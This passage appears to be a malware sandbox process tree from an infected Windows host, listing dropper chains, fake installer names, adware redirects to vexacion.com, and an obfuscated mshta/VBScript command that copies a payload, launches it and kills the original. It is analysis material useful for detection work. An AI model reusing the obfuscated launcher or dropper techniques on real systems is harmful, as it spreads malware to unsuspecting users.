                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcc19b46f8,0x7ffcc19b4708,0x7ffcc19b4718
                                                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                                                              PID:9956
                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=1851483
                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                              PID:9904
                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcc19b46f8,0x7ffcc19b4708,0x7ffcc19b4718
                                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                                  PID:9088
                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=1851513
                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                  PID:5840
                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcc19b46f8,0x7ffcc19b4708,0x7ffcc19b4718
                                                                                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                                                                                      PID:8280
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\89-e34a7-1a7-65fb9-47836d7dcd3fa\Tylysudaja.exe
                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\89-e34a7-1a7-65fb9-47836d7dcd3fa\Tylysudaja.exe"
                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                    PID:5880
                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\b0s3bw2c.rpy\GcleanerEU.exe /eufive & exit
                                                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                                                        PID:10184
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\b0s3bw2c.rpy\GcleanerEU.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\b0s3bw2c.rpy\GcleanerEU.exe /eufive
                                                                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                                                                            PID:6748
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 6748 -s 236
                                                                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                                                                                              PID:4268
                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vp4ys5rd.bvl\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                                                            PID:12152
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\vp4ys5rd.bvl\installer.exe
                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\vp4ys5rd.bvl\installer.exe /qn CAMPAIGN="654"
                                                                                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                                                                                              • Enumerates connected drives
                                                                                                                                                                                                                                                                                              • Modifies system certificate store
                                                                                                                                                                                                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                              PID:12252
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\vp4ys5rd.bvl\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\vp4ys5rd.bvl\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630507832 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
                                                                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                                                                • Enumerates connected drives
                                                                                                                                                                                                                                                                                                PID:8372
                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gmli3dxa.ea4\any.exe & exit
                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                              PID:12208
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\gmli3dxa.ea4\any.exe
                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\gmli3dxa.ea4\any.exe
                                                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                                                  PID:7000
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\gmli3dxa.ea4\any.exe
                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\gmli3dxa.ea4\any.exe" -u
                                                                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                                                                      PID:5140
                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rgymtavp.fpr\gcleaner.exe /mixfive & exit
                                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                                    PID:12264
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\rgymtavp.fpr\gcleaner.exe
                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\rgymtavp.fpr\gcleaner.exe /mixfive
                                                                                                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                                                                                                        PID:4328
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4328 -s 236
                                                                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                                                                                                                                                          • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                          PID:5600
                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wwo2dmti.ynp\autosubplayer.exe /S & exit
                                                                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                                                                        PID:4064
                                                                                                                                                                                                                                                                                                    • C:\Program Files\Windows Defender Advanced Threat Protection\WMUMSUTBUC\foldershare.exe
                                                                                                                                                                                                                                                                                                      "C:\Program Files\Windows Defender Advanced Threat Protection\WMUMSUTBUC\foldershare.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                                                        PID:2816
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\ECktS8xzMW3LrovHiHpvy0gD.exe
                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\ECktS8xzMW3LrovHiHpvy0gD.exe"
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                              • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                              • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                              PID:3300
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\sTv0Ru6Qdd40koV8ep40teP1.exe
                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\sTv0Ru6Qdd40koV8ep40teP1.exe"
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                              PID:4596
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:2792
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\7021377.exe
                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\7021377.exe"
                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                      PID:4080
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\1101862.exe
                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\1101862.exe"
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                                      • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                                      PID:6808
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\6347777.exe
                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\6347777.exe"
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                      PID:6116
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\6347777.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\6347777.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                          PID:6344
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\6347777.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Local\6347777.exe" ) do taskkill -f -Im "%~NXZ"
                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                              PID:6208
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                taskkill -f -Im "6347777.exe"
                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                PID:3592
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\8426701.exe
                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\8426701.exe"
                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                          • Suspicious behavior: SetClipboardViewer
                                                                                                                                                                                                                                                                                                          PID:4388
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\5270474.exe
                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\5270474.exe"
                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                            PID:2816
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe
                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:6368
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 6368 -s 296
                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                                                                                                              • Checks processor information in registry
                                                                                                                                                                                                                                                                                                              • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                              PID:2360
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\inst1.exe
                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                            PID:6716
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\askinstall25.exe
                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:1124
                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:5960
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5960 -s 296
                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                  • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                  PID:6976
                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:2552
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:6904
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe
                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:6656
                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                      PID:4624
                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\chrome1.exe
                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\chrome1.exe"
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                        PID:7076
                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\WerFault.exe -u -p 7076 -s 2268
                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                                                          PID:7060
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\chrome update.exe
                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\chrome update.exe"
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                        • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                        PID:1628
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\chrome2.exe
                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:5852
                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\WerFault.exe -u -p 5852 -s 2272
                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                                                            PID:2368
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\u441lgwhPCuZAE5fAfsAMoFK.exe
                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\u441lgwhPCuZAE5fAfsAMoFK.exe"
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                        PID:5548
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5548 -s 1940
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                          • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                          PID:6952
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\vjQOan4v6lH95dp3dgNFrLs1.exe
                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\vjQOan4v6lH95dp3dgNFrLs1.exe"
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                        PID:5788
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5788 -s 276
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                                                          PID:6952
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\KtY3PmQXF1psXmDJExEzJMzL.exe
                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\KtY3PmQXF1psXmDJExEzJMzL.exe"
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                        PID:6272
                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:1948
                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"
                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                                                              • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                                                                                                                              PID:1540
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x210,0x214,0x218,0x1ec,0x21c,0x7ffcc554dec0,0x7ffcc554ded0,0x7ffcc554dee0
                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                PID:7440
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1536,17185461321528458044,15842165605649875904,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1540_1130809787" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1552 /prefetch:2
                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                PID:8096
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1536,17185461321528458044,15842165605649875904,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1540_1130809787" --mojo-platform-channel-handle=1940 /prefetch:8
                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                PID:8344
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1536,17185461321528458044,15842165605649875904,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1540_1130809787" --mojo-platform-channel-handle=2244 /prefetch:8
                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                PID:8524
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1536,17185461321528458044,15842165605649875904,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1540_1130809787" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2436 /prefetch:1
                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                PID:8652
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1536,17185461321528458044,15842165605649875904,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1540_1130809787" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=1988 /prefetch:1
                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                  PID:8768
                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1536,17185461321528458044,15842165605649875904,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1540_1130809787" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2744 /prefetch:2
                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                    PID:8892
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1536,17185461321528458044,15842165605649875904,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1540_1130809787" --mojo-platform-channel-handle=1568 /prefetch:8
                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                      PID:8900
